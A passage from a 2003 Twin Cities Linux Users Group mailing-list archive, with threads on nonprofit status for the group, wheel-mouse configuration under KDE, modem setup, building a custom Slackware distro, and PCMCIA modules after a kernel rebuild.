mean we can't investigate it again. If someone is willing to put the time and effort in, and you get the buy-in of the group, I'm all for it. But the LUG as a whole needs to decide, not just one person. -- Clay _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From chewie at wookimus.net Fri Aug 15 10:59:57 2003 From: chewie at wookimus.net (Chad Walstrom) Date: Mon Jan 17 12:40:27 2005 Subject: NPO? (was Re: [TCLUG] Store Particulars -Rather long) In-Reply-To: <20030815151448.GA21349@fandre.com> References: <1060919093.1802.17.camel@cesium> <20030815141234.GB3412@skuld.wookimus.net> <20030815141630.GD12831@autonomous.tv> <20030815151448.GA21349@fandre.com> Message-ID: <20030815155957.GD3412@skuld.wookimus.net> You know. I forgot completely that we had aready beaten this horse. Sorry for dragging it back into the forefront. I would agree with Clay, it's not a horrible idea. The additional responsibility placed upon the Treasurer to keep the "books" up to date should be weighed against the benefits of an NPO. I don't recall what the groups decision was other than to let the topic die; in which case, I'd be inclined to agree. I can't volunteer my services to the Treasurer position, because I know nothing about accounting and taxes. In which case, I can't railroad someone into the position. Again, sorry for digging up this topic again. -- Chad Walstrom http://www.wookimus.net/ assert(expired(knowledge)); /* core dump */ -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 240 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20030815/2afc8a0e/attachment.pgp From blots at visi.com Fri Aug 15 11:13:32 2003 From: blots at visi.com (Tom Penney) Date: Mon Jan 17 12:40:27 2005 Subject: NPO? (was Re: [TCLUG] Store Particulars -Rather long) In-Reply-To: <20030815151448.GA21349@fandre.com> References: <1060919093.1802.17.camel@cesium> <20030815141234.GB3412@skuld.wookimus.net> <20030815141630.GD12831@autonomous.tv> <20030815151448.GA21349@fandre.com> Message-ID: <1060964012.3493.160.camel@lotsa> On Fri, 2003-08-15 at 10:14, Clay Fandre wrote: > Just because we decided against becoming a NPO in the past doesn't > mean we can't investigate it again. If someone is willing to put the > time and effort in, and you get the buy-in of the group, I'm all for > it. But the LUG as a whole needs to decide, not just one person. Becoming an NPO is a big pain in the, um, brain. It's not worth the trouble unless you are a big organization, even then I'd argue it's not worth the trouble. So what would be the benefit of being an NPO anyway? It sounds cool? we don't have to pay income tax on $7.61? I think we have legitimate expenses to offset all the money we are raking in at the store. Just my 2 cents. > Once the cost of the premium site is covered I can do a > couple of things. I can reduce the cost of the items to their base > price for the remainder of the year, allowing items to be bought "at > cost". I vote to keep the price the same. There are many things we could with the extra money, if there is any. Pizza, switches, anything. > Ash Gry T-shirt 1 1.01 Ha, I have the only only Ash gray t-shirt in existence. I'll have to show up at a meeting some time with it. -- Tom Penney _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From scot at thinkunix.net Fri Aug 15 10:43:57 2003 From: scot at thinkunix.net (Scot Jenkins) Date: Mon Jan 17 12:40:27 2005 Subject: NPO? (was Re: [TCLUG] Store Particulars -Rather long) In-Reply-To: <20030815151448.GA21349@fandre.com>; from clay@fandre.com on Fri, Aug 15, 2003 at 10:14:48AM -0500 References: <1060919093.1802.17.camel@cesium> <20030815141234.GB3412@skuld.wookimus.net> <20030815141630.GD12831@autonomous.tv> <20030815151448.GA21349@fandre.com> Message-ID: <20030815104357.A237@thinkunix.net> how about this as the topic for the next tclug poll? Clay Fandre wrote: > Just because we decided against becoming a NPO in the past doesn't > mean we can't investigate it again. If someone is willing to put the > time and effort in, and you get the buy-in of the group, I'm all for > it. But the LUG as a whole needs to decide, not just one person. -- scot _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From webmaster at mn-linux.org Fri Aug 15 09:58:37 2003 From: webmaster at mn-linux.org (webmaster@mn-linux.org) Date: Mon Jan 17 12:40:27 2005 Subject: [TCLUG] A new classified ad at TCLUG Classifieds Message-ID: <200308151458.h7FEwbl13193@crusader.real-time.com> A new TCLUG classified ad at was placed Fri Aug 15 09:58:37 2003. Name: John Trammell Category: free Subject: Dell Optiplex GXi Ad: Dell Optiplex GXi 5166M (Intel Pentium MMX, CDROM, floppy, HD, built-in 3C905, more), free to good home. To view this and other ads at TCLUG Classifieds, please visit: http://www.mn-linux.org/cgi-bin/classifieds/classifieds.cgi _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From clay at fandre.com Fri Aug 15 11:28:57 2003 From: clay at fandre.com (Clay Fandre) Date: Mon Jan 17 12:40:27 2005 Subject: NPO? (was Re: [TCLUG] Store Particulars -Rather long) In-Reply-To: <20030815104357.A237@thinkunix.net> References: <1060919093.1802.17.camel@cesium> <20030815141234.GB3412@skuld.wookimus.net> <20030815141630.GD12831@autonomous.tv> <20030815151448.GA21349@fandre.com> <20030815104357.A237@thinkunix.net> Message-ID: <20030815162857.GC21349@fandre.com> On Fri, 15 Aug 2003, Scot Jenkins wrote: > how about this as the topic for the next tclug poll? > > Clay Fandre wrote: > > Just because we decided against becoming a NPO in the past doesn't > > mean we can't investigate it again. If someone is willing to put the > > time and effort in, and you get the buy-in of the group, I'm all for > > it. But the LUG as a whole needs to decide, not just one person. > Before we can decide if we want to become a NPO or not I think we need to find someone willing to lead the effort. Even if it's decided that we should be a NPO, if no one has the time to do it then it doesn't really matter. And from what I've been hearing (yet again), it's not worth it. _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From tanner at mn-linux.org Fri Aug 15 11:47:31 2003 From: tanner at mn-linux.org (Bob Tanner) Date: Mon Jan 17 12:40:27 2005 Subject: [TCLUG] Logitech wheeled mouse + KDE Message-ID: <200308151147.31229@Twin.Cities.Linux.Users.Group-www.mn-linux.org> Got a Logitech Wheeled mouse. Changed my XF86Config-4 like this: Section "InputDevice" Identifier "USB Mouse" Driver "mouse" Option "Protocol" "IMPS/2" Option "Device" "/dev/mouse" Option "ZAxisMapping" "4 5" EndSection Logs says its detecting the mouse right. (**) USB Mouse: Protocol: "IMPS/2" (**) Option "Device" "/dev/mouse" (**) Option "ZAxisMapping" "4 5" (**) USB Mouse: ZAxisMapping: buttons 4 and 5 (**) USB Mouse: Buttons: 5 (II) XINPUT: Adding extended input device "USB Mouse" (type: MOUSE) But the wheel isn't working under any KDE application. Any ideas? -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org, Minnesota, Linux | Fax : (952)943-8500 http://www.linuxjustworks.com | Linux Just Works! Key fingerprint = AB15 0BDF BCDE 4369 5B42 1973 7CF1 A709 2CC1 B288 _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From crumley at belka.space.umn.edu Fri Aug 15 11:57:14 2003 From: crumley at belka.space.umn.edu (Jim Crumley) Date: Mon Jan 17 12:40:27 2005 Subject: [TCLUG] Logitech wheeled mouse + KDE In-Reply-To: <200308151147.31229@Twin.Cities.Linux.Users.Group-www.mn-linux.org> References: <200308151147.31229@Twin.Cities.Linux.Users.Group-www.mn-linux.org> Message-ID: <20030815115714.A13608@baker.space.umn.edu> On Fri, Aug 15, 2003 at 11:47:31AM -0500, Bob Tanner wrote: > > Logs says its detecting the mouse right. > But the wheel isn't working under any KDE application. > > Any ideas? Have you tried xev? Does the wheel work in any other apps - xterm, mozilla, etc. ? -- Jim Crumley |Twin Cities Linux Users Group Mailing List (TCLUG) crumley@fields.space.umn.edu |Minneapolis/St. Paul, Minnesota Ruthless Debian Zealot |http://www.mn-linux.org/ Never laugh at live dragons |Dmitry's free,Jon's next? http://faircopyright.org _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From loren at lorenburlingame.com Fri Aug 15 12:04:31 2003 From: loren at lorenburlingame.com (Loren H. Burlingame) Date: Mon Jan 17 12:40:27 2005 Subject: [TCLUG] Logitech wheeled mouse + KDE In-Reply-To: <200308151147.31229@Twin.Cities.Linux.Users.Group-www.mn-linux.org> References: <200308151147.31229@Twin.Cities.Linux.Users.Group-www.mn-linux.org> Message-ID: <3F3D129F.8020401@lorenburlingame.com> Bob Tanner wrote: >Got a Logitech Wheeled mouse. Changed my XF86Config-4 like this: > >Section "InputDevice" > Identifier "USB Mouse" > Driver "mouse" > Option "Protocol" "IMPS/2" > Option "Device" "/dev/mouse" > Option "ZAxisMapping" "4 5" >EndSection > >Logs says its detecting the mouse right. > >(**) USB Mouse: Protocol: "IMPS/2" >(**) Option "Device" "/dev/mouse" >(**) Option "ZAxisMapping" "4 5" >(**) USB Mouse: ZAxisMapping: buttons 4 and 5 >(**) USB Mouse: Buttons: 5 >(II) XINPUT: Adding extended input device "USB Mouse" (type: MOUSE) > >But the wheel isn't working under any KDE application. > >Any ideas? > > > perhaps if you add Options "Buttons" "5" before the ZAxisMapping? LB _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From tanner at mn-linux.org Fri Aug 15 12:15:50 2003 From: tanner at mn-linux.org (Bob Tanner) Date: Mon Jan 17 12:40:27 2005 Subject: [TCLUG] Logitech wheeled mouse + KDE In-Reply-To: <20030815115714.A13608@baker.space.umn.edu> References: <200308151147.31229@Twin.Cities.Linux.Users.Group-www.mn-linux.org> <20030815115714.A13608@baker.space.umn.edu> Message-ID: <200308151215.50715@Twin.Cities.Linux.Users.Group-www.mn-linux.org> On Friday 15 August 2003 11:57 am, Jim Crumley wrote: > On Fri, Aug 15, 2003 at 11:47:31AM -0500, Bob Tanner wrote: > > Logs says its detecting the mouse right. > > > > > But the wheel isn't working under any KDE application. > > > > Any ideas? > > Have you tried xev? Does the wheel work in any other apps - > xterm, mozilla, etc. ? xev shows no events from the wheel. Good troubleshooting suggestion. :-) -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org, Minnesota, Linux | Fax : (952)943-8500 http://www.linuxjustworks.com | Linux Just Works! Key fingerprint = AB15 0BDF BCDE 4369 5B42 1973 7CF1 A709 2CC1 B288 _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From tanner at mn-linux.org Fri Aug 15 12:23:23 2003 From: tanner at mn-linux.org (Bob Tanner) Date: Mon Jan 17 12:40:27 2005 Subject: [TCLUG] Logitech wheeled mouse + KDE In-Reply-To: <3F3D129F.8020401@lorenburlingame.com> References: <200308151147.31229@Twin.Cities.Linux.Users.Group-www.mn-linux.org> <3F3D129F.8020401@lorenburlingame.com> Message-ID: <200308151223.23363@Twin.Cities.Linux.Users.Group-www.mn-linux.org> On Friday 15 August 2003 12:04 pm, Loren H. Burlingame wrote: > >(**) USB Mouse: Protocol: "IMPS/2" > >(**) Option "Device" "/dev/mouse" > >(**) Option "ZAxisMapping" "4 5" > >(**) USB Mouse: ZAxisMapping: buttons 4 and 5 > >(**) USB Mouse: Buttons: 5 > >(II) XINPUT: Adding extended input device "USB Mouse" (type: MOUSE) > > > >But the wheel isn't working under any KDE application. > > > >Any ideas? > > perhaps if you add > > Options "Buttons" "5" > > before the ZAxisMapping? No effect. -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org, Minnesota, Linux | Fax : (952)943-8500 http://www.linuxjustworks.com | Linux Just Works! Key fingerprint = AB15 0BDF BCDE 4369 5B42 1973 7CF1 A709 2CC1 B288 _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From spencer at autonomous.tv Fri Aug 15 12:32:33 2003 From: spencer at autonomous.tv (Spencer Butler) Date: Mon Jan 17 12:40:27 2005 Subject: NPO? (was Re: [TCLUG] Store Particulars -Rather long) In-Reply-To: <20030815162857.GC21349@fandre.com> References: <1060919093.1802.17.camel@cesium> <20030815141234.GB3412@skuld.wookimus.net> <20030815141630.GD12831@autonomous.tv> <20030815151448.GA21349@fandre.com> <20030815104357.A237@thinkunix.net> <20030815162857.GC21349@fandre.com> Message-ID: <20030815173233.GG12831@autonomous.tv> On Fri, Aug 15, 2003 at 11:28:57AM -0500, Clay Fandre wrote: > >On Fri, 15 Aug 2003, Scot Jenkins wrote: > >> how about this as the topic for the next tclug poll? >> >> Clay Fandre wrote: >> > Just because we decided against becoming a NPO in the past doesn't >> > mean we can't investigate it again. If someone is willing to put the >> > time and effort in, and you get the buy-in of the group, I'm all for >> > it. But the LUG as a whole needs to decide, not just one person. >> > >Before we can decide if we want to become a NPO or not I think we need >to find someone willing to lead the effort. Even if it's decided that >we should be a NPO, if no one has the time to do it then it doesn't >really matter. > >And from what I've been hearing (yet again), it's not worth it. IIRC Bob has alot of the pertinent info archived someplace. I'm sure he'd be willing to make it available if someone wanted to lead the march. Bob? -- Linux Administrator || Technology Specialist || Wifi Engineer http://autonomous.tv/~spencer/resume/ || spencer@autonomous.tv Key fingerprint = 173B 8760 E59F DBF8 6FD2 68F8 ABA2 AB08 49C7 4754 -------------- next part -------------- A non-text attachment was scrubbed... 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Changed my XF86Config-4 like this: > >Section "InputDevice" > Identifier "USB Mouse" > Driver "mouse" > Option "Protocol" "IMPS/2" > Option "Device" "/dev/mouse" > Option "ZAxisMapping" "4 5" >EndSection > >Logs says its detecting the mouse right. > >(**) USB Mouse: Protocol: "IMPS/2" >(**) Option "Device" "/dev/mouse" >(**) Option "ZAxisMapping" "4 5" >(**) USB Mouse: ZAxisMapping: buttons 4 and 5 >(**) USB Mouse: Buttons: 5 >(II) XINPUT: Adding extended input device "USB Mouse" (type: MOUSE) > >But the wheel isn't working under any KDE application. > >Any ideas? Is it possible you need to point the mouse to "Device" "/dev/usb/mouse" or "/dev/psaux" or some-such? -- Linux Administrator || Technology Specialist || Wifi Engineer http://autonomous.tv/~spencer/resume/ || spencer@autonomous.tv Key fingerprint = 173B 8760 E59F DBF8 6FD2 68F8 ABA2 AB08 49C7 4754 -------------- next part -------------- A non-text attachment was scrubbed... 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Not sure what more I need to do or where on the disk to change it so all comments, flames or actual help is welcome Also in slack how do I make an iso out of a cd? I have the tools and knowledge to do this in windows but I feel like a hypocrite making a Linux distro in windows..... Flame on RetardDan -------------- next part -------------- An HTML attachment was scrubbed... URL: http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20030815/d54ce1be/attachment.html From hackel at walkingfish.com Fri Aug 15 13:36:25 2003 From: hackel at walkingfish.com (Ryan Hayle) Date: Mon Jan 17 12:40:28 2005 Subject: [TCLUG] subject tag In-Reply-To: References: Message-ID: <3F3D2829.9070606@walkingfish.com> Jima wrote: > Then why aren't you well-versed enough to use procmail to remove the tag? > :P > > Example: > > http://lists.insecure.org/linux-kernel/2001/Feb/2372.html Thank you! Sadly, I've been trying (unsuccesfully) to find a way to do this with procmail for a long time. This will hopefully alleviate everyone and let people have their silly subjects. -- Ryan Hayle _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From hill0608 at umn.edu Fri Aug 15 13:50:59 2003 From: hill0608 at umn.edu (Joel) Date: Mon Jan 17 12:40:28 2005 Subject: [TCLUG] Questions about connecting my modem. Message-ID: <200308151850.h7FIoxo5024601@dingo.software.umn.edu> Greetings, I have just recently jumped on the Linux bandwagon, the reason is because I felt that there had to be a better way than Microsoft. So I decided to partition my hard disk into ME, 2000, and RedHat 8.0. No problems, however right now I am trying to get RedHat to find my Motorola SM56 modem, I just don't know how to do this, I have tried to use Internet Configuration Wizard, in Gnome but it only offers a Generic Modem. I was wondering how in the world can I find my modem and also hook it up to the Internet? Like I said before I am a total newbie, so be kind. Thanks   Joel B. Hill-Ische a.k.a. "Gung-ho Joe" May you be happy and Well _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From kent at structural-wood.com Fri Aug 15 14:25:56 2003 From: kent at structural-wood.com (Kent Schumacher) Date: Mon Jan 17 12:40:28 2005 Subject: [TCLUG] Questions about connecting my modem. References: <200308151850.h7FIoxo5024601@dingo.software.umn.edu> Message-ID: <3F3D33C4.50908@structural-wood.com> Joel wrote: > Greetings, > > I have just recently jumped on the Linux bandwagon, the reason is because I > felt that there had to be a better way than Microsoft. So I decided to > partition my hard disk into ME, 2000, and RedHat 8.0. No problems, however > right now I am trying to get RedHat to find my Motorola SM56 modem, I just > don't know how to do this, I have tried to use Internet Configuration > Wizard, in Gnome but it only offers a Generic Modem. I was wondering how > in the world can I find my modem and also hook it up to the Internet? Like > I said before I am a total newbie, so be kind. > > Thanks > > Joel B. Hill-Ische a.k.a. "Gung-ho Joe" > > May you be happy and Well > Here is a link to info on motorola's web site. http://www.motorola.com/softmodem/data-fax.htm#linux I found it via google ("motorola sm56" linux) which turned up lots and lots of links. Sorry I can't be more helpful but I don't have this modem. Good luck and welcome, Kent _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From peter-clark at bethel.edu Fri Aug 15 14:16:41 2003 From: peter-clark at bethel.edu (Peter Clark) Date: Mon Jan 17 12:40:28 2005 Subject: [TCLUG] distro makin' fool In-Reply-To: <0399641989D32043BED5793CCC8F5CD526FAB3@BPEXU1VM2.andersencorp.com> References: <0399641989D32043BED5793CCC8F5CD526FAB3@BPEXU1VM2.andersencorp.com> Message-ID: <200308151416.41429.peter-clark@bethel.edu> On Friday 15 August 2003 01:24 pm, Lansing, Dan wrote: > As all newbs do at some point I would like to come up with my own distro to > call my own..... What kinds of skillz are needed for this? I'm sure some > amount of scripting is needed but would I need to know any programming to > modify an existing distro to make it in my own image? Right now I am > working with slackware cuz it's the bomb, and I am mainly adding and > subtracting packages and editing the tag files to show these changes during > install . I would like to make more changes though to make it more > personalized. Not sure what more I need to do or where on the disk to > change it so all comments, flames or actual help is welcome My recommendation would be to take a look at Knoppix. If you don't know, Knoppix is a distro meant to be run from a CD. Klaus Knopper, the chief developer, manages to squeeze 1.7 GB onto a 700 MB iso, so it comes with almost everything you could possibly want. While it is primarily meant to be run from CD, it includes an install script. The steps to remastering Knoppix are well documented in the forums (http://www.knoppix.net/forum/) and any questions you might possibly have are probably already answered on the mailing list (http://mailman.linuxtag.org/pipermail/debian-knoppix/). And, since Knoppix is based on Debian (some use it to set up a Debian system, rather than deal with Debian's seven-year-old installer), you can just apt-get any programs that aren't included on Knoppix. Summary: with Knoppix, you can have *both* a customized bootable CD distro *and* a customized installable distro, with all the resources of Debian and its 10,000 packages. It doesn't get any better than that. Have fun! :Peter -- Oh what a tangled web they weave who try a new word to conceive! _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From JAustad at temgweb.com Fri Aug 15 15:18:20 2003 From: JAustad at temgweb.com (Austad, Jay) Date: Mon Jan 17 12:40:28 2005 Subject: [TCLUG] distro makin' fool Message-ID: <288FAF5565A1A74EA5E35C39E7EE1D420A1BDAB9@mail.temgweb.com> Search for the linux from scratch project. I believe it's just a howto on how to roll your own. > -----Original Message----- > From: Peter Clark [mailto:peter-clark@bethel.edu] > Sent: Friday, August 15, 2003 2:17 PM > To: tclug-list@mn-linux.org > Subject: Re: [TCLUG] distro makin' fool > > > On Friday 15 August 2003 01:24 pm, Lansing, Dan wrote: > > As all newbs do at some point I would like to come up with > my own distro to > > call my own..... What kinds of skillz are needed for this? > I'm sure some > > amount of scripting is needed but would I need to know any > programming to > > modify an existing distro to make it in my own image? Right now I am > > working with slackware cuz it's the bomb, and I am mainly adding and > > subtracting packages and editing the tag files to show > these changes during > > install . I would like to make more changes though to make it more > > personalized. Not sure what more I need to do or where on > the disk to > > change it so all comments, flames or actual help is welcome > My recommendation would be to take a look at Knoppix. > If you don't know, > Knoppix is a distro meant to be run from a CD. Klaus Knopper, > the chief > developer, manages to squeeze 1.7 GB onto a 700 MB iso, so it > comes with > almost everything you could possibly want. While it is > primarily meant to be > run from CD, it includes an install script. The steps to > remastering Knoppix > are well documented in the forums (http://www.knoppix.net/forum/) and any questions you might possibly have are probably already answered on the mailing list (http://mailman.linuxtag.org/pipermail/debian-knoppix/). And, since Knoppix is based on Debian (some use it to set up a Debian system, rather than deal with Debian's seven-year-old installer), you can just apt-get any programs that aren't included on Knoppix. Summary: with Knoppix, you can have *both* a customized bootable CD distro *and* a customized installable distro, with all the resources of Debian and its 10,000 packages. It doesn't get any better than that. Have fun! :Peter -- Oh what a tangled web they weave who try a new word to conceive! _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From Dan.Lansing at AndersenCorp.com Fri Aug 15 15:19:58 2003 From: Dan.Lansing at AndersenCorp.com (Lansing, Dan) Date: Mon Jan 17 12:40:28 2005 Subject: [TCLUG] distro makin' fool Message-ID: <0399641989D32043BED5793CCC8F5CD526FAB4@BPEXU1VM2.andersencorp.com> Have used Knoppix....its fun but cannot match the love I have for slack....im not a big fan of Debian...sure its great an all but its just not slack....the main thing I am looking to do here is make a distro for my own use....something with only the packages I use so I don't take any space up with stuff I'm not gonna use, don't have to download anything and so I have my own kustom kernel so I don't have to recompile with every install... In summary....Debian bad slackware good....reinventing an already perfect wheel is good too :-) Dan -----Original Message----- From: Peter Clark [mailto:peter-clark@bethel.edu] Sent: Friday, August 15, 2003 2:17 PM To: tclug-list@mn-linux.org Subject: Re: [TCLUG] distro makin' fool My recommendation would be to take a look at Knoppix. If you don't know, Knoppix is a distro meant to be run from a CD. Klaus Knopper, the chief developer, manages to squeeze 1.7 GB onto a 700 MB iso, so it comes with almost everything you could possibly want. While it is primarily meant to be run from CD, it includes an install script. The steps to remastering Knoppix are well documented in the forums (http://www.knoppix.net/forum/) and any questions you might possibly have are probably already answered on the mailing list (http://mailman.linuxtag.org/pipermail/debian-knoppix/). And, since Knoppix is based on Debian (some use it to set up a Debian system, rather than deal with Debian's seven-year-old installer), you can just apt-get any programs that aren't included on Knoppix. Summary: with Knoppix, you can have *both* a customized bootable CD distro *and* a customized installable distro, with all the resources of Debian and its 10,000 packages. It doesn't get any better than that. Have fun! :Peter -- Oh what a tangled web they weave who try a new word to conceive! _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From jack at jacku.com Fri Aug 15 18:14:52 2003 From: jack at jacku.com (Jack Ungerleider) Date: Mon Jan 17 12:40:28 2005 Subject: [TCLUG] distro makin' fool In-Reply-To: <0399641989D32043BED5793CCC8F5CD526FAB4@BPEXU1VM2.andersencorp.com> References: <0399641989D32043BED5793CCC8F5CD526FAB4@BPEXU1VM2.andersencorp.com> Message-ID: <200308151614.53447.jack@jacku.com> On Friday 15 August 2003 13:19, Lansing, Dan wrote: > Have used Knoppix....its fun but cannot match the love I have for > slack....im not a big fan of Debian...sure its great an all but its just > not slack....the main thing I am looking to do here is make a distro for my > own use....something with only the packages I use so I don't take any space > up with stuff I'm not gonna use, don't have to download anything and so I > have my own kustom kernel so I don't have to recompile with every > install... In summary....Debian bad slackware good....reinventing an > already perfect wheel is good too :-) Dan > I think there is a site that talks about building custom distros from Slack. I've been hunting small/custom distros for an appliance unit I have that needs a new "brain". I seem to remember stumbling on a "roll-your-own" slack site somewhere. Good Luck! Jack --- Jack Ungerleider jack@jacku.com _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From joeltclug at litriusgroup.com Fri Aug 15 16:36:30 2003 From: joeltclug at litriusgroup.com (Joel Wickard) Date: Mon Jan 17 12:40:28 2005 Subject: [TCLUG] Crazy pcmcia modules Message-ID: <39694.63.167.96.45.1060983390.squirrel@mail.staffordphoto.com> I have a laptop. I have redhat 9 on this laptop. I decided to recompile the kernel on my laptop. When I recompile the kernel, then restart the machine, my pcmcia network card ( which works fine on the distributed kernel/modules ) will not start up. When the system is booting is starts the pcmcia service fine, but the card wouldn't even get power. Thinking this was odd I checked the /var/log/boot.log file, there I was informed that the kernel could not locate yenta_socket, pcmcia_core, and ds. I then checked /lib/modules//kernel/drivers/pcmcia and the three missing modules are in fact there. This is the same place they reside in the /lib/modules/ directory. So my question is, how do I make the kernel recognize that the modules, do in fact, reside where they should be. thanks. _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From scot+tcluggen at thinkunix.net Fri Aug 15 16:41:33 2003 From: scot+tcluggen at thinkunix.net (Scot Jenkins) Date: Mon Jan 17 12:40:28 2005 Subject: [TCLUG] distro makin' fool In-Reply-To: <0399641989D32043BED5793CCC8F5CD526FAB3@BPEXU1VM2.andersencorp.com>; from Dan.Lansing@AndersenCorp.com on Fri, Aug 15, 2003 at 01:24:41PM -0500 References: <0399641989D32043BED5793CCC8F5CD526FAB3@BPEXU1VM2.andersencorp.com> Message-ID: <20030815164133.C27441@thinkunix.net> Lansing, Dan wrote: > As all newbs do at some point I would like to come up with my own distro to call my own..... I 2nd LFS (Linux From Scratch). I haven't done it myself yet but looked at it and it seems well documented. I doesn't seem like it assumes that one knows too much before starting. You build everything yourself and only get what you want in your distro. As far as packaging goes, look at checkinstall to help you build slackware style tgz packages. It's pretty nifty. > Also in slack how do I make an iso out of a cd? I have the tools and knowledge to do this in windows but I feel like a hypocrite making a Linux distro in windows..... As far as how to create your own slackware cd/iso: ftp://ftp.cerias.purdue.edu/pub/os/slackware/slackware-9.0/isolinux/README.TXT I too love Slackware and think it's great for servers. If you don't customize it too much upgrades are pretty easy. When I need complete control over a box and I want to get it up and running as fast as possible, Slackware is my choice. That being said, I'm a recent Debian convert, at least for a workstation. There are so many packages and apt-get just rules for how it handles dependencies. I have found it takes longer to setup some things under Debian because they do it their way (but all distros put their own spin on things); it could also be my lack of experience with Debian so far. :) From what I've seen, the upgrade path is the best of all linux distros. If you want all the bells and whistles and can put aside a little time to learn the Debian way, Debian is worth it. -- scot _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From scot at thinkunix.net Fri Aug 15 16:47:53 2003 From: scot at thinkunix.net (Scot Jenkins) Date: Mon Jan 17 12:40:29 2005 Subject: [TCLUG] Crazy pcmcia modules In-Reply-To: <39694.63.167.96.45.1060983390.squirrel@mail.staffordphoto.com>; from joeltclug@litriusgroup.com on Fri, Aug 15, 2003 at 04:36:30PM -0500 References: <39694.63.167.96.45.1060983390.squirrel@mail.staffordphoto.com> Message-ID: <20030815164753.D27441@thinkunix.net> Joel Wickard wrote: > I have a laptop. > I have redhat 9 on this laptop. > I decided to recompile the kernel on my laptop. > > When I recompile the kernel, then restart the machine, my pcmcia network > card ( which works fine on the distributed kernel/modules ) will not start > up. When the system is booting is starts the pcmcia service fine, but the > card wouldn't even get power. Thinking this was odd I checked the > /var/log/boot.log file, there I was informed that the kernel could not > locate yenta_socket, pcmcia_core, and ds. I then checked > /lib/modules//kernel/drivers/pcmcia and the three missing > modules are in fact there. This is the same place they reside in the > /lib/modules/ directory. > > So my question is, how do I make the kernel recognize that the modules, do > in fact, reside where they should be. In my experience with laptops and pcmcia, when you build a new kernel, you have to recompile pcmcia. 1. boot stock install 2. grab kernel source and pcmcia source (store on laptop hard disk as you won't have network if pcmcia is all you have for networking once you boot a custom kernel. 3. build new kernel (leave out all pcmcia options when building the new 2.4 kernel) and install it. I've had better luck having things detected using pcmcia source and NOT what comes with the 2.4 kernel. 4. boot new kernel 5. now build and install pcmcia -- scot _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From duncan at npohost.org Fri Aug 15 16:53:26 2003 From: duncan at npohost.org (Duncan Shannon) Date: Mon Jan 17 12:40:29 2005 Subject: [TCLUG] system dying... wont boot past usb filesystem Message-ID: Hey gang- Ive got my gateway at work, which is a beater 233mhz box running rh 7.x i think its dying... or at a min. something is wrong. I logged in the other day on the console, and hit a `w` and it was pretty slow... i logged in on another virt. console and it ran `top` and it never quite loaded up all the way... i left it alone. Yesterday, i tried to ssh to it, i got an `error 11` and couldnt connect. So i went up to look at it today, and there was what looked like a kernel panic... it was something bad. couldn't do anything from ctrl c to switch virtual consoles to reseting the terminal. I finally had to reboot it... when it booted up, it never got past `mounting USB filesystem` I 